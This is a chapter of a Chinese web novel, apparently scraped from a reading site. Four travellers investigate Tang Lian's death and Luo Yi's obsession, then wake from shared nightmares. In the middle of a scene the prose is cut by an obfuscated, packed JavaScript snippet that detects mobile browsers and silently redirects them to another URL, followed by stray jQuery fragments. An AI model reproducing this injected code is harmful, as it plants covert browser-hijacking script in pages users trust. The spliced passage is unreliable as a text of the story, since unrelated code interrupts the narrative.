牢房外耀眼的光亮越发暗淡,牢房内原先昏暗的光线反而越发刺眼。
接连问了鎏光几个问题她都说不知道,不清楚,但其实真正想问的从一开始就已经得到答案了。
罗毅所处的牢房位置不算近,袁伯坚说想留下来再审审,顺便把罗毅的大致位置告诉了几人,四人只能先行离去。
刚走到那牢房外时,杨靖正和艾大人从牢房走出,“我按大人的吩咐在城外大道提前等着,果然,罗毅与那女子驾着马车并没有选择隐蔽的小路。只是等我想要去抓捕他们时那人骑着马追来……”
杨靖话音未落,扭头就看到四人在前方,悠悠闭了嘴。艾大人低沉的脸上缓缓浮起轻松的笑容,但片刻后又覆上阴霾。
“艾大人。”四人朝他行了礼,艾大人只是点点头没有说什么便带着杨靖离开。擦肩时,杨靖侧脸投来一个模糊的眼神。
“看不清什么意思。”苏镜醨回头望着远去的背影。
“你只当光线太暗了。”江洂似乎回答了他的问题,转身走进还未关门的牢房。
罗毅板板正正坐在椅子上,目光呆滞,整个人像丢了魂一样。
江洂从布包拿出罗盘,双指轻点眉心又在胸前画出符咒。罗盘开始缓缓转动,一缕黑气从中飘出迅速钻到罗毅体内。
罗毅猛然抬头,双目短暂变成双瞳血眸又恢复正常。罗盘的指针转动地越来越快,最后停在罗毅的方向。罗毅缓缓低下头,周遭伴着血色的黑气升起,迅速将他包裹住。
“混沌之子。”江洂控制罗盘将他周围的黑气吸入其中。直到黑气被吸尽,江洂在上前扼住他的双手,咬破中指按住罗毅的眉心,片刻后他才慢慢恢复正常。
“现在案子是查清了,不过他的执念也还是没有达成,我们该不会真回不去了吧?”苏镜醨两眼一黑,捂着脸站到一边。
“说实话,到现在我都没弄清楚他的执念到底是什么。”宋鹤抱起手,低下头细细回想。
“对啊,之前以为是含冤未雪,后来以为是鎏光,可是到了现在这世界都没有一点变化。”江沅俯下身子看着低下头,双目无神的罗毅,抬起手在他眼前晃了晃。
“我们的猜测是对的,等一炷香之后他就会恢复正常,走吧。”江洂收起罗盘长舒一口气。
“我怎么觉着还是鎏光,毕竟他还想带着她离开。”江沅扯扯嘴角。
“我倒是更好奇唐怜真正的死因到底是因为什么?”苏镜醨扭了扭胳膊,歪歪脑袋走出牢房。
“不是说溺水吗,说不定就是因为被唐庸迷晕了才溺水身亡的。”宋鹤双手背到腰后离开原地。
暮色里,唐府的烛光比往日要更加明亮,一切依旧照常运转,似乎这里从没发生过什么。
回到那小院,屋里燃起亮光,宋鹤握着刀柄先一步推开门。路休皓坐在桌前,桌子上摆了几坛酒,他见到门被打开,抬起眼眸,“怎么现在才回来,再晚些,酒就被我喝光了。”
“路公子有心啦!”苏镜醨推着宋鹤坐到桌边打开一坛酒就迫不及待灌进嘴里,“啊,好酒!”
“你去罗毅住处了吗?”江沅在酒坛子旁看到了一小包东西。
“我跟官府捕手去药铺核查过,确实用掉的量不足以致死。”路休皓咽下嘴里的酒,拿着坛子的手放到腿上。
“既然动了杀心,为何不直接放足量,偏要等自己暴露?”宋鹤打开一坛酒靠近鼻尖轻嗅,浓郁香醇的酒气灌满鼻腔。
“难不成是因为……他也猜到唐庸的计划,所以想借刀杀人?”苏镜醨又喝下一大口,笑眯眯咂咂嘴。
“那还不如不动手。”江沅走了一天,脚底钻心的疼痛扯着全身的神经,一瘸一拐走到床边坐下,从包里拿出一包东西递给路休皓,“我们也快离开了,还要麻烦路公子帮我把这东西交给艾大人。”
“这是什么?”江洂帮忙递给路休皓后,路休皓拿在手中闻了闻,“茶叶?”
“是朋友送的茶饼,感觉味道不错,想请艾大人尝一尝。”江沅露出轻松的微笑。
“好。”路休皓点点头,“你们为何这么着急要走?还有罗毅,为何不早早离开,偏偏等了六年之久……”
“他在等一个名正言顺离开的机会,所以要让她慢慢死去。”江洂坐到一边,看了看桌上的酒,伸手拿起一旁的茶壶倒了杯茶递给江沅。
“有道理,这样就可以说唐小姐是病死的,不过唐庸可不会给他机会好过。”江沅接过茶水,“嗯……有些凉了,我去热一壶吧。”
“路公子呢,你怎么想?”苏镜醨放下空酒坛朝路休皓抬抬下巴,“你知道唐怜为何会与罗毅成婚吗?”
“我问过他,他只说……我是世家子弟,不会明白。”路休皓低下头,叹了口气后昂起头朝嘴里灌酒。
“难不成他是嫉妒你的身份,想以此攀高枝超过你?”宋鹤扯着嘴角摇摇头继续喝酒。
“会说,会说!”苏镜醨拍拍宋鹤的肩膀,“不过唐怜可不傻,她可不是揣着明白装糊涂的人。”
“我觉得,他们之间可能是达成了某种协议,只是罗毅想要的比唐怜想的要更多。”江洂刚想喝手中的凉茶就被江沅拉住换了一杯。
“他们到底想做什么……”路休皓再抬起手,坛子里的酒早已一滴不剩,晃了晃酒坛未果,只能放下。
夜深,一道闪电划破窗外淅淅索索的虫鸣声,万籁俱停。
苏镜醨端着一杯茶,顶着月色急匆匆跑进官府。门口没有人,大门有些破旧,他推开大门冲进院子中,捧在手心的热茶稳停在杯中。
院子里没有任何声音,安静得叫人心颤。他找到书房,缓缓推开门,屋内灯光昏暗,顺着光线源头看去,隐约能见一个人站在角落里。
苏镜醨攥紧手心的茶杯靠近,“艾大人!”
艾大人浑身披满锁链,沉重的锁链压在他瘦骨嶙峋的肩头,围住了他伸长的脖子,压弯了他挺直的腰杆。
苏镜醨被这一幕吓得手脚发颤,手心的热茶从杯中跃出,烫伤了他的手。下意识,茶杯掉落,清脆的碎裂声刺耳难耐,“上官大人到——”门外顿时锣鼓喧天。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982234|192135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
苏镜醨转身朝门外望去,那人穿着一身绯红官服,头戴乌纱帽,脸上面容极其扭曲,但苏镜醨也不知道为什么自己却知道那人就是,“罗毅……”
闪电再次从门外亮起,苏镜醨被惊地猛然睁眼,心中空落落的,整个人像是丢了魂一般久久不能平复。
江沅迷迷糊糊从睡意中醒来,她扭头看见苏镜醨坐在床边,明明是背对着自己,但她却能感受到苏镜醨不同往日的沉默。
江沅从被子中抽出手伸去,想要安抚一下这个疲惫不堪的人。当她的手快要触碰到苏镜醨的瞬间,眼前人消失在视线中,转而是一个白衣女子站在视线中央。
那女子面容模糊,长发披散,整个人浑身散发着一股寒气,让人心慌。
江沅收回手,明明看不清她的脸却不知为何,就是知道她是,“唐怜……”
女子笑了起来,嘴角咧到耳根,“大夫,我的病能治,你再帮我看看吧!”猛地冲了过来。
“啊——”江沅从床上弹起,额头汗水浸湿发际。
苏镜醨正拿着热毛巾靠近,“怎么了?你也做噩梦了吗?”
江沅深呼吸几次才稍微缓过来一些,江洂和宋鹤也连忙从门外围了过来,“看来,我们确实该离开了。”江洂垂眸间,眉头紧锁。
“看来我们都做噩梦了,我梦见罗毅与那上官勾结陷害路休皓,到了大牢之后我就被吓醒了。”宋鹤拉着椅子坐下,此刻腿还有些发软。
“江洂,你梦见了什么?”苏镜醨坐在床边用热毛巾轻轻擦拭江沅的额头。
“罗毅,他成了任人摆布的棋子,最终也没落得好下场。”江洂手心一阵发凉,“这个世界与我们无关,不能再牵扯其中,尽快找到办法离开。”
“我好像知道唐怜的死因了……”江沅抬起头看着三人,“我在唐怜骨头上发现了轻微擦伤,罗毅的毒不足以致死,假设那晚唐庸的香确实把唐怜迷晕了,但是唐怜在溺水过程中醒来了,但罗毅下的毒让她的病情加重以致于挣扎途中发病。”
江沅皱起眉头,“我记得独孤氏说唐怜发病时四肢瘫软,很可能就是这个原因导致唐怜无法起身而溺死,这样就都说得通了!”眉头缓缓舒展。
“有道理啊!所以你梦见了唐怜?”苏镜醨仔细一想,连连点头。
江沅把自己的梦境告诉了几人,苏镜醨也同样说出了梦到的情境,“看来我们有必要再去一趟府衙见见艾大人。”
几人收拾好东西从巷子穿到大街上,鞭炮声从远处响起,街道两侧围满了人。
“什么事这么热闹?”苏镜醨挤进人群中踮起脚尖张望。
“看那边。”宋鹤也挤进人群指着街道一边。
顺着他所指的方向看去,一个身穿红衣,头顶乌纱,身坐高头大马的男子昂着头,脸上满是笑容,俯视着前方的地面缓缓走来。
“那是?”宋鹤眯起眼睛看着那人的脸,“罗毅!”随着那人的靠近,他的瞳孔缓缓张大。
霎时,四周一切消失,化作无边黑暗同时,四人迅速下坠。